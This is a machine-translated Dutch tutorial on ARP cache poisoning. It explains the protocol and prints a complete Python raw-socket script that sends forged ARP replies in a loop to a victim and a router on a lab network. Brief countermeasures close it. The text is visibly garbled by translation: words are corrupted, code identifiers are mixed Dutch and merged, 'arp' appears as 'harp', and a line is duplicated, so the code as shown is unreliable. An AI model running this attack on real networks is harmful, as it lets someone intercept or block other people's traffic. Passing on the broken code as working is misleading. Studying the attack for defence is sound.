ARP-vergif.webptigingsaanval met onbewerkte sockets in Python

Inhoudsopgave

Vandaag ga ik het je leren hoe een ARP-vergif.webptigingsaanval uit te voeren? (ARP-cachevergif.webptiging). Ervoor ik zal raw sockets gebruiken in python, het doel is om te zien hoe dit soort sockets werken, dat je leert hoe deze aanval werkt of dat je tests kunt uitvoeren op je netwerk (hoewel daar al tools op het netwerk voor zijn), niet dat je het gebruikt voor kwaadwillende doeleinden.

OpmerkingMet scapy kun je dit werk sneller en gemakkelijker uitvoeren, maar door deze tutorial te bekijken, kun je de kennis gebruiken om de bibliotheek te gebruiken en het zelf te doen, als we het andersom zouden doen, zou het je meer kosten. De hier getoonde methode werkt alleen op Linux-systemen.

Kleine details die je moet weten
ARPHet is het adresresolutieprotocol dat wordt gevonden op de netwerklaag. Zijn missie is om het MAC-adres (fysiek adres) te vinden dat overeenkomt met een specifiek IP-adres (netwerkadres).
ARP-cachesElk apparaat heeft een klein geheugen waar het de MAC - IP vertalingen in opslaat, daar gaan we bij deze aanval gebruik van maken. Deze cache bestaat omdat het de overhead vermijdt van het vragen om de vertaling elke keer dat we verbinding maken met een ander apparaat.

De ARP-protocolwerking Het is eenvoudig, wanneer u een pakket naar iemand verzendt, wordt de apparaatcache gecontroleerd, als er die vertaling is, is het nodig om het pakket te verzenden, als er geen ARP is, verzendt het een uitzendpakket (het is speciaal, het is heeft het MAC-adres van de bestemming ff: ff: ff: ff: ff: ff), dit pakket zal alle apparaten op het netwerk bereiken en zal "vragen" wie het gezochte IP-adres heeft, elk apparaat zal bij het zien van de speciale MAC lezen het pakket, en alleen degene met het adres Het gezochte IP-adres zal antwoorden met vermelding van de MAC, op dat moment zal het in de cache worden opgeslagen, zodat u de komende minuten niet opnieuw hoeft te vragen.

De ARP-vergif.webptigingsaanval Het wordt gebruikt om de gegevens te bespioneren die door een netwerk gaan, of we kunnen het ook gebruiken zodat de gegevens niet de bestemmingen bereiken waar ze naartoe gaan. Deze aanval bestaat uit het constant verzenden van ARP-pakketten naar het netwerk om aan te geven dat onze MAC overeenkomt met het IP-adres van het slachtoffer en dat onze MAC is gekoppeld aan het IP-adres van de router. We moeten de pakketten constant verzenden omdat het een dynamisch protocol is, dus de cache verandert, het kan zijn dat de vertaling wordt gewist, het wordt bijgewerkt met de echte gegevens, dus om ervoor te zorgen dat we pakketten elke keer verzenden, zijn ze niet erg zwaar, zodat ze het netwerk normaal gesproken niet overbelasten.

OpmerkingARP is een protocol dat alleen in IPv4 wordt gebruikt, daarom is deze aanval niet geldig voor IPv6, maar de vergif.webptigingsaanval kan worden uitgevoerd door gebruik te maken van een ander protocol, zoals NDP, dat wordt gebruikt om "buren" in een netwerk te ontdekken .

Om ons voorbeeld te beginnen, moeten we de IP-adressen van het slachtoffer en de gateway van de router weten, evenals de MAC, u kunt nmap gebruiken om de actieve apparaten in uw netwerk te ontdekken, en de MAC kan bijvoorbeeld eenvoudig worden verkregen. We willen om de cache van het adres 192.168.66.2 te vergif.webptigen, dat mijn slachtoffer zal zijn (een virtuele machine), zal ik het volgende uitvoeren in de cmd of terminal:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
De -c en -n geven aan dat er maar één pakket moet worden verzonden, elk besturingssysteem heeft een andere parameter. Later zetten we:
 harp
Het geeft de ARP-cache aan, daarom kunnen we de vertalingen zien die we hebben opgeslagen (en nadat we eerder een ping hebben gedaan, hebben we de vertaling al met het slachtoffer). We moeten hetzelfde doen met de gateway van de router:

Vervolgens ga ik alle gegevens zetten die we nodig hebben om ze bij de hand te hebben:

  • Slachtoffer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Mijn pc -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Ik plaats de volledige code en leg het hieronder uit, het werkt voor Python in versie 2.x, maar met kleine wijzigingen kun je het aanpassen naar versie 3.x:

 import socket import tijd, struct, binascii verbinding = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) verbinding.bind ("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 " \ x02 "SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton (" 192.168.66.1 ") ipVictima = socket.inet_aton (" 192.168.66.2 ") macVicethouterIngouter + 192.168.66.2 + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Vergif.webptiging van caches… om CTRL + C te stoppen") terwijl True: connection.send (arpRouter) connection.send (arpVictima) ) tijd.slaap (1)
Het eerste wat we doen is de benodigde bibliotheken importeren, die geen verdere uitleg nodig hebben. Laten we doorgaan met de volgende regels:
 aansluiting = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) aansluiting.bind ("ens33", socket.htons (0x0800)))
De eerste regel creëert een socket, met de volgende kenmerken:
  • PF_PACKET: Pakketten verzenden en ontvangen op een laag niveau.
  • SOCK_RAW: Om onbewerkte sockets te gebruiken.
  • socket.htons (0x0800): De 0x0800 definieert het ETH_P_IP-protocol, de ntohs-functie converteert het netwerkformaat naar bytes in het juiste formaat voor onze computer (s betekent kort, dat wil zeggen 16 bits, als het een l had, zou het 32 ​​bits zijn).

En de tweede zal de leiding hebben om de socket te "luisteren":

  • ens33: het is de netwerkinterface waar we aan gaan werken, de jouwe kan eth0 zijn, als je een ifconfig gebruikt, zul je het zien (zie onderstaande afbeelding).
  • socket.htons (0x800): hetzelfde als eerder gezegd.

De regels die we hieronder zien, creëren de Ethernet-headers, hiervoor stellen we de MAC's vast en de code (degene die we plaatsen behoort tot het ARP-protocol), als je meer wilt weten over Ethernet, klik dan hier:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" code = "\ x08 \ x06" algemeen pakket = macSource + code eth1 = macVictima + algemeen pakket eth2 = macRouter + algemeen pakket
Het volgende deel van de code stelt de ARP-pakketten samen. Om de structuur te raadplegen, kunt u de volgende link bezoeken en naar het gedeelte over de pakketstructuur gaan. De bewerkingscode \ x00 \ x02 is om aan te geven dat het een antwoordpakket is (als het 1 was, zou het een verzoek zijn), en de socket.inet_aton () functie converteert een IPv4-adres naar een 32-bits binair formaat. Zoals je in de vorige code hebt gezien en nu om een ​​pakket te maken, voegen we de delen ervan aan elkaar.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + gedeelde header + ipRouter + macVictima + ipVictima arpRouter = eth2 + gedeelde header + ipVictima + macRouter + ipRouter
Het laatste deel van de code toont een bericht om te weten dat het werkt en komt in een oneindige lus die pakketten zal verzenden om de caches van ons slachtoffer en de gateway van de router te vergif.webptigen, dit doet het elke seconde sinds we slapen.
 print ("Caches vergif.webptigen … om CTRL + C te stoppen") while True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Laten we eens kijken hoe de uitvoering van het programma eruit ziet (we moeten uitvoeren als root-gebruiker):

En als we naar de cache van het slachtoffer kijken, kunnen we zien dat zijn IP-adres nu is gekoppeld aan de MAC van de aanvaller:

tegenmaatregelen

  • Gebruik maken van statische ARP-tabellen, we voegen de gegevens met de hand toe en laten ze niet variëren.
  • Raadplegen Omgekeerde ARP, zal dit protocol het IP-adres van een MAC retourneren, dus als het meer dan één IP-adres retourneert, is het waarschijnlijk dat we zijn vervalst.

Deze maatregelen vereisen een minimum aan kennis, dus niet iedereen zal het kunnen uitvoeren, maar door onze IT-beveiligingsvragen of tutorials te raadplegen, zult u zeker hulp vinden.

Voor het geval je de code wilt, hier is een zip:

Download code ArpPoisoning.zip 579 bytes 116 Downloads

Vond je deze Tutorial leuk en heb je eraan geholpen?Je kunt de auteur belonen door op deze knop te drukken om hem een ​​positief punt te geven
wave wave wave wave wave